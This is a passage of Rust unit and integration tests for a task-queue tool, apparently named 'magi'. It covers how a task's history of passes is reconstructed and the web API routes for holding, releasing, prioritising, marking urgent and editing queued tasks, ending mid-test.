17761        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17762        let h = task_history(&task, |id| {
17763            Some(if id == "a" { a.clone() } else { b.clone() })
17764        });
17765        assert_eq!(
17766            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17767            ["a", "b", "a"]
17768        );
17769        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17770        assert!(h[0].outcome.contains("upgrade"));
17771        assert_eq!(h[2].kind, "resume");
17772        assert!(h[2].pass.is_some());
17773        // The old repeated-id format must show the same recorded passes.
17774        task.runs = vec!["a".into(), "b".into(), "a".into()];
17775        let old = task_history(&task, |id| {
17776            Some(if id == "a" { a.clone() } else { b.clone() })
17777        });
17778        assert_eq!(
17779            old.iter()
17780                .map(|v| (&v.id, &v.kind, v.attempt))
17781                .collect::<Vec<_>>(),
17782            h.iter()
17783                .map(|v| (&v.id, &v.kind, v.attempt))
17784                .collect::<Vec<_>>()
17785        );
17786    }
17787
17788    #[test]
17789    fn an_upgrade_whose_target_was_not_known_says_so() {
17790        let run = flow_run(RunStatus::Implementing, |s| {
17791            s.passes = vec![
17792                recorded_pass(
17793                    0,
17794                    parked(crate::run::ParkCause::Upgrade {
17795                        from: "0.121.0".to_owned(),
17796                        to: None,
17797                    }),
17798                ),
17799                recorded_pass(1, None),
17800            ];
17801        });
17802        let task = flow_task(&[RUN_X, RUN_X]);
17803        let h = task_history(&task, |_| Some(run.clone()));
17804        assert!(
17805            h[0].outcome.contains("upgrade from 0.121.0"),
17806            "{}",
17807            h[0].outcome
17808        );
17809        // No settle record: the refund is not claimed.
17810        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17811    }
17812
17813    #[test]
17814    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17815        use crate::queue::PassCost;
17816        use crate::run::ParkCause;
17817        let run = flow_run(RunStatus::Implementing, |s| {
17818            s.passes = vec![
17819                recorded_pass(0, parked(upgrade_cause())),
17820                recorded_pass(
17821                    1,
17822                    parked(ParkCause::Interrupt {
17823                        reason: "task a1b2 asked to run first".to_owned(),
17824                    }),
17825                ),
17826                recorded_pass(2, parked(ParkCause::Operator)),
17827                recorded_pass(3, None),
17828            ];
17829        });
17830        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17831        task.attempts = 1;
17832        task.passes = (0..3)
17833            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17834            .collect();
17835        let h = task_history(&task, |_| Some(run.clone()));
17836        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17837        assert!(
17838            h[1].outcome.contains("task a1b2 asked to run first"),
17839            "{}",
17840            h[1].outcome
17841        );
17842        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17843        assert!(
17844            h[2].outcome.contains("operator asked the loop to park"),
17845            "{}",
17846            h[2].outcome
17847        );
17848        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17849        let f = task_flow(&task, &h, 2, None);
17850        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17851    }
17852
17853    #[test]
17854    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17855        let run = flow_run(RunStatus::Implementing, |s| {
17856            s.passes = vec![
17857                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17858                recorded_pass(1, None),
17859            ];
17860        });
17861        let task = flow_task(&[RUN_X, RUN_X]);
17862        let h = task_history(&task, |_| Some(run.clone()));
17863        assert_eq!(h[0].exit, RunExit::Interrupted);
17864        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17865        assert!(
17866            h[0].outcome.contains("without recording why"),
17867            "{}",
17868            h[0].outcome
17869        );
17870        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17871        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17872    }
17873
17874    #[test]
17875    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17876        use crate::queue::PassCost;
17877        // Three entries, but the run only began keeping passes at the last
17878        // two: the first is legacy and must not be given a cause.
17879        let run = flow_run(RunStatus::Implementing, |s| {
17880            s.passes = vec![
17881                recorded_pass(0, parked(upgrade_cause())),
17882                recorded_pass(1, None),
17883            ];
17884        });
17885        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17886        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17887        let h = task_history(&task, |_| Some(run.clone()));
17888        assert!(h[0].pass.is_none());
17889        assert_eq!(h[0].exit, RunExit::Interrupted);
17890        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17891        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17892        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17893        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17894        // A run with no passes at all is entirely unknown.
17895        let legacy = flow_run(RunStatus::Implementing, |_| {});
17896        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17897        assert!(h.iter().all(|v| v.pass.is_none()));
17898        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17899    }
17900
17901    #[test]
17902    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17903        use crate::queue::PassCost;
17904        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17905        // task. The two entries are passes 0 and 2.
17906        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17907        web.task_entry = false;
17908        let run = flow_run(RunStatus::Implementing, |s| {
17909            s.passes = vec![
17910                recorded_pass(0, parked(upgrade_cause())),
17911                web.clone(),
17912                recorded_pass(2, None),
17913            ];
17914        });
17915        let mut task = flow_task(&[RUN_X, RUN_X]);
17916        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17917        let h = task_history(&task, |_| Some(run.clone()));
17918        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17919        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17920
17921        // Legacy first entry, then a web resume that parked for an upgrade,
17922        // then the daemon's pass: the legacy entry must stay unknown.
17923        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17924        web0.task_entry = false;
17925        let run = flow_run(RunStatus::Implementing, |s| {
17926            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17927        });
17928        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17929        assert!(h[0].pass.is_none());
17930        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17931        assert!(h[1].pass.is_some());
17932    }
17933
17934    #[tokio::test]
17935    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17936        let dir = tempfile::tempdir().unwrap();
17937        let queue = Queue::at(dir.path().join("queue"));
17938        let ui = Arc::new(Ui::new(
17939            queue.clone(),
17940            Questions::at(dir.path().join("questions")),
17941            Talks::at(dir.path().join("talks")),
17942            dir.path().join("runs"),
17943            dir.path().to_path_buf(),
17944            dir.path().to_path_buf(),
17945        ));
17946        let mut t = Task::new(
17947            "recover".into(),
17948            "Inspect".into(),
17949            PathBuf::from("."),
17950            Source::Human,
17951        );
17952        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17953        t.start("run-A".into());
17954        t.release_operator("choice", Some("resume-question"));
17955        t.resume_override = Some(crate::queue::OperatorResume {
17956            question_id: "resume-question".into(),
17957            at: jiff::Timestamp::now(),
17958            conductor_rehold: None,
17959            forced: true,
17960            pinned_run: Some("run-A".into()),
17961        });
17962        t.hold_machine(Some("inspection pending".into()));
17963        t.edit("recover".into(), "Reuse approved PR head".into())
17964            .unwrap();
17965        queue.put(&mut t).unwrap();
17966        let mut cli = t.clone();
17967        cli.release_operator("cli", None);
17968        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17969        let reloaded = queue.get(&t.id).unwrap();
17970        assert_eq!(reply.task.status, TaskStatus::Queued);
17971        assert!(reloaded.resume_override.is_none());
17972        assert_eq!(reloaded.answers, t.answers);
17973        let mut web = reloaded.resumption.unwrap();
17974        let cli = cli.resumption.unwrap();
17975        assert_eq!(web.source, "web");
17976        web.source = cli.source.clone();
17977        web.at = cli.at;
17978        assert_eq!(web, cli);
17979    }
17980
17981    #[tokio::test]
17982    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17983        let f = Fixture::start().await;
17984        let queue = f.queue();
17985        let mut task = Task::new(
17986            "spent".to_owned(),
17987            "Try again".to_owned(),
17988            PathBuf::from("/repo/magi"),
17989            Source::Human,
17990        );
17991        task.start("20260902-140502-bbbb".to_owned());
17992        task.fail("agent gave up", 9);
17993        queue.put(&mut task).expect("file the task");
17994
17995        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17996        assert_eq!(held.status, 200);
17997        assert_eq!(held.json()["status_str"], "held");
17998
17999        let released = f
18000            .post(&format!("/api/queue/{}/release", task.id), None)
18001            .await;
18002        assert_eq!(released.status, 200);
18003        assert_eq!(released.json()["status_str"], "queued");
18004        assert_eq!(released.json()["resumption"]["source"], "web");
18005        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
18006        let mut cli = task.clone();
18007        cli.release_operator("cli", None);
18008        let web = queue.get(&task.id).unwrap().resumption.unwrap();
18009        let cli = cli.resumption.unwrap();
18010        assert_eq!(web.instruction, cli.instruction);
18011        assert_eq!(web.answers_through, cli.answers_through);
18012        assert_eq!(web.runs_through, cli.runs_through);
18013        assert_eq!(web.cleared_reason, cli.cleared_reason);
18014        assert_eq!(
18015            released.json()["attempts"],
18016            0,
18017            "release is a real second chance, not an instant re-hold"
18018        );
18019        assert_eq!(
18020            queue.get(&task.id).expect("reload").status,
18021            TaskStatus::Queued,
18022            "the change is on disk, not only in the reply"
18023        );
18024        assert!(
18025            !f.home
18026                .path()
18027                .join("queue")
18028                .join(format!("{}.lock", task.id))
18029                .exists(),
18030            "the claim the mutation took is released again"
18031        );
18032    }
18033
18034    #[tokio::test]
18035    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
18036        let f = Fixture::start().await;
18037        let queue = f.queue();
18038        let mut task = Task::new(
18039            "busy".to_owned(),
18040            "Running right now".to_owned(),
18041            PathBuf::from("/repo/magi"),
18042            Source::Human,
18043        );
18044        queue.put(&mut task).expect("file the task");
18045        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18046
18047        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18048
18049        assert_eq!(res.status, 409);
18050        assert_eq!(
18051            queue.get(&task.id).expect("reload").status,
18052            TaskStatus::Queued,
18053            "the refused hold changed nothing"
18054        );
18055    }
18056
18057    #[tokio::test]
18058    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
18059        let f = Fixture::start().await;
18060        let queue = f.queue();
18061        let mut task = Task::new(
18062            "waiting on the migration".to_owned(),
18063            "Do the thing".to_owned(),
18064            PathBuf::from("/repo/magi"),
18065            Source::Human,
18066        );
18067        queue.put(&mut task).expect("file the task");
18068
18069        let held = f
18070            .post(
18071                &format!("/api/queue/{}/hold", task.id),
18072                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
18073            )
18074            .await;
18075        assert_eq!(held.status, 200, "{}", held.body);
18076        assert_eq!(held.json()["status_str"], "held");
18077        assert_eq!(
18078            held.json()["hold_reason"],
18079            "waiting for 20260101-000000-aaaa to land"
18080        );
18081
18082        let listed = f.get("/api/queue").await.json();
18083        assert_eq!(
18084            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
18085            "the card reads the reason off the same list route"
18086        );
18087
18088        // A hold with no body at all must keep working - most holds have no
18089        // reason to give.
18090        let mut plain = Task::new(
18091            "no reason given".to_owned(),
18092            "Do another thing".to_owned(),
18093            PathBuf::from("/repo/magi"),
18094            Source::Human,
18095        );
18096        queue.put(&mut plain).expect("file the task");
18097        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
18098        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
18099        assert!(held_plain.json()["hold_reason"].is_null());
18100
18101        let released = f
18102            .post(&format!("/api/queue/{}/release", task.id), None)
18103            .await;
18104        assert_eq!(released.status, 200);
18105        assert!(
18106            released.json()["hold_reason"].is_null(),
18107            "a release must clear the reason so the next hold does not inherit it"
18108        );
18109    }
18110
18111    #[test]
18112    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18113        for urgent in [true, false] {
18114            let body: UrgentBody =
18115                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18116            assert_eq!(body.urgent, urgent);
18117        }
18118        for input in [
18119            r#"{}"#,
18120            r#"{"urgent":null}"#,
18121            r#"{"urgent":"true"}"#,
18122            r#"{"urgent":1}"#,
18123            r#"{"urgent":true,"extra":false}"#,
18124        ] {
18125            assert!(
18126                serde_json::from_str::<UrgentBody>(input).is_err(),
18127                "{input}"
18128            );
18129        }
18130    }
18131
18132    #[tokio::test]
18133    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18134        let home = TempDir::new().unwrap();
18135        let q = Queue::at(home.path().join("queue"));
18136        let ui = Arc::new(Ui::new(
18137            q.clone(),
18138            Questions::at(home.path().join("questions")),
18139            Talks::at(home.path().join("talks")),
18140            home.path().join("runs"),
18141            home.path().into(),
18142            home.path().into(),
18143        ));
18144        let mut task = Task::new(
18145            "urgent handler".into(),
18146            "keep".into(),
18147            home.path().into(),
18148            Source::Human,
18149        );
18150        for status in [TaskStatus::Queued, TaskStatus::Held] {
18151            task.status = status;
18152            q.put(&mut task).unwrap();
18153            for urgent in [true, true, false, false] {
18154                let saved = queue_urgent(
18155                    State(Arc::clone(&ui)),
18156                    Path(task.short().into()),
18157                    Ok(Json(UrgentBody { urgent })),
18158                )
18159                .await
18160                .unwrap();
18161                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18162                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18163            }
18164        }
18165        task.status = TaskStatus::Queued;
18166        q.put(&mut task).unwrap();
18167        let claim = q.claim(&task.id).unwrap();
18168        let error = queue_urgent(
18169            State(Arc::clone(&ui)),
18170            Path(task.id.clone()),
18171            Ok(Json(UrgentBody { urgent: true })),
18172        )
18173        .await
18174        .unwrap_err();
18175        assert_eq!(error.status, StatusCode::CONFLICT);
18176        assert!(error.message.contains("released"));
18177        drop(claim);
18178        for status in [
18179            TaskStatus::Running,
18180            TaskStatus::Done,
18181            TaskStatus::Failed,
18182            TaskStatus::Blocked,
18183            TaskStatus::Parked,
18184        ] {
18185            task.status = status;
18186            q.put(&mut task).unwrap();
18187            let error = queue_urgent(
18188                State(Arc::clone(&ui)),
18189                Path(task.id.clone()),
18190                Ok(Json(UrgentBody { urgent: false })),
18191            )
18192            .await
18193            .unwrap_err();
18194            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18195            assert!(error.message.contains(status.as_str()));
18196        }
18197    }
18198
18199    #[tokio::test]
18200    async fn urgent_api_updates_preserves_and_validates_tasks() {
18201        let f = Fixture::start().await;
18202        let q = f.queue();
18203        let mut t = Task::new(
18204            "urgent API".into(),
18205            "unchanged".into(),
18206            PathBuf::from("/repo/magi"),
18207            Source::Human,
18208        );
18209        t.attempts = 2;
18210        t.priority = 9;
18211        t.interrupt = true;
18212        t.hold_reason = Some("waiting for approval".into());
18213        for status in [TaskStatus::Queued, TaskStatus::Held] {
18214            t.status = status;
18215            q.put(&mut t).unwrap();
18216            for urgent in [true, true, false, false] {
18217                let response = f
18218                    .post(
18219                        &format!("/api/queue/{}/urgent", t.short()),
18220                        Some(&format!("{{\"urgent\":{urgent}}}")),
18221                    )
18222                    .await;
18223                assert_eq!(response.status, 200, "{}", response.body);
18224                assert_eq!(response.json()["urgent"], urgent);
18225                let saved = q.get(&t.id).unwrap();
18226                let mut before = serde_json::to_value(&t).unwrap();
18227                let mut after = serde_json::to_value(saved).unwrap();
18228                before["urgent"] = urgent.into();
18229                before.as_object_mut().unwrap().remove("updated_at");
18230                after.as_object_mut().unwrap().remove("updated_at");
18231                assert_eq!(after, before);
18232            }
18233        }
18234        let route = format!("/api/queue/{}/urgent", t.id);
18235        for body in [
18236            r#"{}"#,
18237            r#"{"urgent":null}"#,
18238            r#"{"urgent":"true"}"#,
18239            r#"{"urgent":1}"#,
18240            r#"{"urgent":true,"extra":false}"#,
18241            "{",
18242        ] {
18243            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18244        }
18245        t.status = TaskStatus::Queued;
18246        q.put(&mut t).unwrap();
18247        let claim = q.claim(&t.id).unwrap();
18248        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18249        assert_eq!(response.status, 409, "{}", response.body);
18250        assert!(!q.get(&t.id).unwrap().urgent);
18251        drop(claim);
18252        for status in [
18253            TaskStatus::Running,
18254            TaskStatus::Done,
18255            TaskStatus::Failed,
18256            TaskStatus::Blocked,
18257            TaskStatus::Parked,
18258        ] {
18259            t.status = status;
18260            q.put(&mut t).unwrap();
18261            for urgent in [true, false] {
18262                let response = f
18263                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18264                    .await;
18265                assert_eq!(response.status, 400, "{}", response.body);
18266                assert!(response.body.contains(status.as_str()));
18267                assert!(response.body.contains("queued or held"));
18268                assert!(!q.get(&t.id).unwrap().urgent);
18269            }
18270        }
18271        assert_eq!(
18272            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18273                .await
18274                .status,
18275            404
18276        );
18277    }
18278
18279    #[tokio::test]
18280    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18281        let f = Fixture::start().await;
18282        let queue = f.queue();
18283        let mut older = Task::new(
18284            "filed first".to_owned(),
18285            "x".to_owned(),
18286            PathBuf::from("/repo/magi"),
18287            Source::Human,
18288        );
18289        older.id = "20260101-000001-aaaa".to_owned();
18290        let mut newer = Task::new(
18291            "filed second".to_owned(),
18292            "x".to_owned(),
18293            PathBuf::from("/repo/magi"),
18294            Source::Human,
18295        );
18296        newer.id = "20260101-000002-bbbb".to_owned();
18297        queue.put(&mut older).expect("file older");
18298        queue.put(&mut newer).expect("file newer");
18299
18300        // Equal priority: the newer task leads, the same order the old
18301        // newest-first `list()` already gave every equal-priority queue.
18302        let before = f.get("/api/queue").await.json();
18303        assert_eq!(before[0]["id"], newer.id);
18304        assert_eq!(before[1]["id"], older.id);
18305
18306        // Raising the *older* task is the meaningful case: it can only lead
18307        // now because its priority says so, not because it happens to be
18308        // newest.
18309        let raised = f
18310            .post(
18311                &format!("/api/queue/{}/priority", older.id),
18312                Some(r#"{"priority":10}"#),
18313            )
18314            .await;
18315        assert_eq!(raised.status, 200, "{}", raised.body);
18316        assert_eq!(raised.json()["priority"], 10);
18317
18318        let after = f.get("/api/queue").await.json();
18319        let names: Vec<&str> = after
18320            .as_array()
18321            .unwrap()
18322            .iter()
18323            .map(|t| t["id"].as_str().unwrap())
18324            .collect();
18325        // Highest priority first, which is the order next_runnable and
18326        // `magi task list` both use - GET /api/queue must agree with it
18327        // immediately, not just once the loop claims the task.
18328        assert_eq!(names[0], older.id, "the raised task now sorts first");
18329    }
18330
18331    #[tokio::test]
18332    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18333        let f = Fixture::start().await;
18334        let queue = f.queue();
18335        let mut tasks = Vec::new();
18336        for id in [
18337            "20260101-000001-aaaa",
18338            "20260101-000002-bbbb",
18339            "20260101-000003-cccc",
18340        ] {
18341            let mut task = Task::new(
18342                id.into(),
18343                "x".into(),
18344                PathBuf::from("/repo/magi"),
18345                Source::Human,
18346            );
18347            task.id = id.into();
18348            queue.put(&mut task).unwrap();
18349            tasks.push(task);
18350        }
18351        assert_eq!(
18352            queue.next_runnable().unwrap().id,
18353            tasks[0].id,
18354            "equal priorities use ascending id"
18355        );
18356        let route = format!("/api/queue/{}/priority", tasks[2].id);
18357        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18358        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18359        tasks[1].start("upgrade-run".into());
18360        tasks[1].park("upgrade");
18361        tasks[1].record_pass_at(
18362            "upgrade-run",
18363            0,
18364            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18365            1,
18366            Some(crate::run::ParkCause::Upgrade {
18367                from: "old".into(),
18368                to: None,
18369            }),
18370        );
18371        queue.put(&mut tasks[1]).unwrap();
18372        let rows = f.get("/api/queue").await.json();
18373        let upgrade = rows
18374            .as_array()
18375            .unwrap()
18376            .iter()
18377            .find(|row| row["id"] == tasks[1].id)
18378            .unwrap();
18379        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18380        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18381        tasks[2] = queue.get(&tasks[2].id).unwrap();
18382        tasks[2].start("running-run".into());
18383        queue.put(&mut tasks[2]).unwrap();
18384        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18385        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18386    }
18387
18388    #[tokio::test]
18389    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18390        let dir = TempDir::new().unwrap();
18391        let q = Queue::at(dir.path().join("queue"));
18392        let ui = Arc::new(Ui::new(
18393            q.clone(),
18394            Questions::at(dir.path().join("questions")),
18395            Talks::at(dir.path().join("talks")),
18396            dir.path().join("runs"),
18397            dir.path().to_path_buf(),
18398            dir.path().to_path_buf(),
18399        ));
18400        let mut t = Task::new(
18401            "budget".into(),
18402            "keep".into(),
18403            dir.path().into(),
18404            Source::Human,
18405        );
18406        t.attempts = 2;
18407        t.runs.push("prior-run".into());
18408        t.hold_manual(Some("waiting".into()));
18409        q.put(&mut t).unwrap();
18410        let change = |value| {
18411            queue_attempt_limit(
18412                State(ui.clone()),
18413                Path(t.id.clone()),
18414                Ok(Json(AttemptLimitBody {
18415                    attempt_limit: value,
18416                })),
18417            )
18418        };
18419        for value in [
18420            serde_json::json!(3),
18421            serde_json::Value::Null,
18422            serde_json::json!(1),
18423        ] {
18424            let response = change(value.clone()).await.unwrap();
18425            assert_eq!(
18426                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18427                value
18428            );
18429            let saved = q.get(&t.id).unwrap();
18430            assert_eq!(
18431                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18432                value
18433            );
18434            assert_eq!(saved.status, TaskStatus::Held);
18435            assert_eq!(saved.attempts, t.attempts);
18436            assert_eq!(saved.runs, t.runs);
18437            assert_eq!(saved.hold_reason, t.hold_reason);
18438            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18439                .await
18440                .unwrap()
18441                .0;
18442            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18443            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18444            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18445            assert_eq!(outcome.max_attempts, detail.max_attempts);
18446        }
18447        for value in [
18448            serde_json::json!(0),
18449            serde_json::json!(-1),
18450            serde_json::json!(1.5),
18451            serde_json::json!("3"),
18452            serde_json::json!(true),
18453        ] {
18454            assert_eq!(
18455                change(value).await.err().unwrap().status,
18456                StatusCode::BAD_REQUEST
18457            );
18458        }
18459        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18460        let claim = q.claim(&t.id).unwrap();
18461        assert_eq!(
18462            change(serde_json::json!(4)).await.err().unwrap().status,
18463            StatusCode::CONFLICT
18464        );
18465        drop(claim);
18466        for status in [
18467            TaskStatus::Running,
18468            TaskStatus::Done,
18469            TaskStatus::Failed,
18470            TaskStatus::Blocked,
18471            TaskStatus::Parked,
18472        ] {
18473            let mut stored = q.get(&t.id).unwrap();
18474            stored.status = status;
18475            q.put(&mut stored).unwrap();
18476            assert_eq!(
18477                change(serde_json::json!(4)).await.err().unwrap().status,
18478                StatusCode::BAD_REQUEST
18479            );
18480            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18481        }
18482        let mut stored = q.get(&t.id).unwrap();
18483        stored.status = TaskStatus::Queued;
18484        q.put(&mut stored).unwrap();
18485        let _ = change(serde_json::Value::Null).await.unwrap();
18486        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18487    }
18488
18489    #[tokio::test]
18490    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18491        let dir = TempDir::new().unwrap();
18492        let repo = dir.path().join("repo");
18493        std::fs::create_dir(&repo).unwrap();
18494        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18495        let q = Queue::at(dir.path().join("queue"));
18496        let ui = Arc::new(Ui::new(
18497            q.clone(),
18498            Questions::at(dir.path().join("questions")),
18499            Talks::at(dir.path().join("talks")),
18500            dir.path().join("runs"),
18501            dir.path().to_path_buf(),
18502            repo.clone(),
18503        ));
18504        let mut t = Task::new(
18505            "seats".into(),
18506            "keep instruction".into(),
18507            repo,
18508            Source::Human,
18509        );
18510        t.runs.push("prior-run".into());
18511        t.hold_manual(Some("waiting".into()));
18512        q.put(&mut t).unwrap();
18513        let change = |count| {
18514            queue_implementers(
18515                State(ui.clone()),
18516                Path(t.id.clone()),
18517                Ok(Json(ImplementersBody {
18518                    implementers: count,
18519                })),
18520            )
18521        };
18522        for count in [2, 1, 2] {
18523            let response = change(count).await.unwrap();
18524            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18525            let saved = q.get(&t.id).unwrap();
18526            assert_eq!(saved.implementers(), Some(usize::from(count)));
18527            assert_eq!(saved.runs, t.runs);
18528            assert_eq!(saved.instruction, t.instruction);
18529        }
18530        for count in [0, 4] {
18531            assert_eq!(
18532                change(count).await.err().unwrap().status,
18533                StatusCode::BAD_REQUEST
18534            );
18535        }
18536        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18537        let claim = q.claim(&t.id).unwrap();
18538        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18539        drop(claim);
18540        for status in [
18541            TaskStatus::Running,
18542            TaskStatus::Done,
18543            TaskStatus::Failed,
18544            TaskStatus::Blocked,
18545            TaskStatus::Parked,
18546        ] {
18547            let mut stored = q.get(&t.id).unwrap();
18548            stored.status = status;
18549            q.put(&mut stored).unwrap();
18550            assert_eq!(
18551                change(1).await.err().unwrap().status,
18552                StatusCode::BAD_REQUEST
18553            );
18554            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18555        }
18556    }
18557
18558    #[tokio::test]
18559    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18560        let f = Fixture::start().await;
18561        let queue = f.queue();
18562        let mut task = Task::new(
18563            "in flight".to_owned(),
18564            "x".to_owned(),
18565            PathBuf::from("/repo/magi"),
18566            Source::Human,
18567        );
18568        task.start("20260902-140502-bbbb".to_owned());
18569        queue.put(&mut task).expect("file the task");
18570
18571        let res = f
18572            .post(
18573                &format!("/api/queue/{}/priority", task.id),
18574                Some(r#"{"priority":9}"#),
18575            )
18576            .await;
18577        assert_eq!(res.status, 400, "{}", res.body);
18578        assert!(
18579            res.json()["error"]
18580                .as_str()
18581                .is_some_and(|e| e.contains("running")),
18582            "{}",
18583            res.body
18584        );
18585        assert_eq!(
18586            queue.get(&task.id).expect("reload").priority,
18587            0,
18588            "the refused write must not partially apply"
18589        );
18590    }
18591
18592    #[tokio::test]
18593    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18594        let f = Fixture::start().await;
18595        let queue = f.queue();
18596        let mut task = Task::new(
18597            "old title".to_owned(),
18598            "old instruction".to_owned(),
18599            PathBuf::from("/repo/magi"),
18600            Source::Agent {
18601                run: "20260101-000000-beef".to_owned(),
18602                node: "implement".to_owned(),
18603            },
18604        );
18605        task.runs.push("20260101-000000-beef".to_owned());
18606        queue.put(&mut task).expect("file the task");
18607        let created_at = task.created_at;
18608
18609        let edited = f
18610            .post(
18611                &format!("/api/queue/{}/edit", task.id),
18612                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18613            )
18614            .await;
18615        assert_eq!(edited.status, 200, "{}", edited.body);
18616        let body = edited.json();
18617        assert_eq!(body["title"], "new title");
18618        assert_eq!(body["instruction"], "new instruction");
18619        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18620        assert_eq!(body["created_at"], created_at.to_string());
18621        assert_eq!(
18622            body["source"]["kind"], "agent",
18623            "editing a task an agent filed must not turn it human: {body}"
18624        );
18625        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18626
18627        let reloaded = queue.get(&task.id).expect("reload");
18628        assert_eq!(reloaded.title, "new title");
18629        assert_eq!(reloaded.instruction, "new instruction");
18630    }
18631
18632    #[tokio::test]
18633    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18634        // The judge is an agent now: a repo whose only agent answers
18635        // "duplicate" stands in for it, so the refusal is the judge's.
18636        let tmp = TempDir::new().expect("tempdir");
18637        let repo = tmp.path().join("repo");
18638        std::fs::create_dir_all(&repo).expect("repo dir");
18639        let judge = MOCK_AGENT_TOML.replace(
18640            "printf ok",
18641            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18642        );
18643        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18644        let f = Fixture::with_repo(repo.clone()).await;
18645        let queue = f.queue();
18646        let mut owner = Task::new(
18647            "owner".to_owned(),
18648            "review it".to_owned(),
18649            repo.clone(),
18650            Source::Human,
18651        );
18652        owner.review_branch = Some("magi/ab12/A".to_owned());
18653        queue.put(&mut owner).expect("file the owner");
18654        let mut task = Task::new(
18655            "draft".to_owned(),
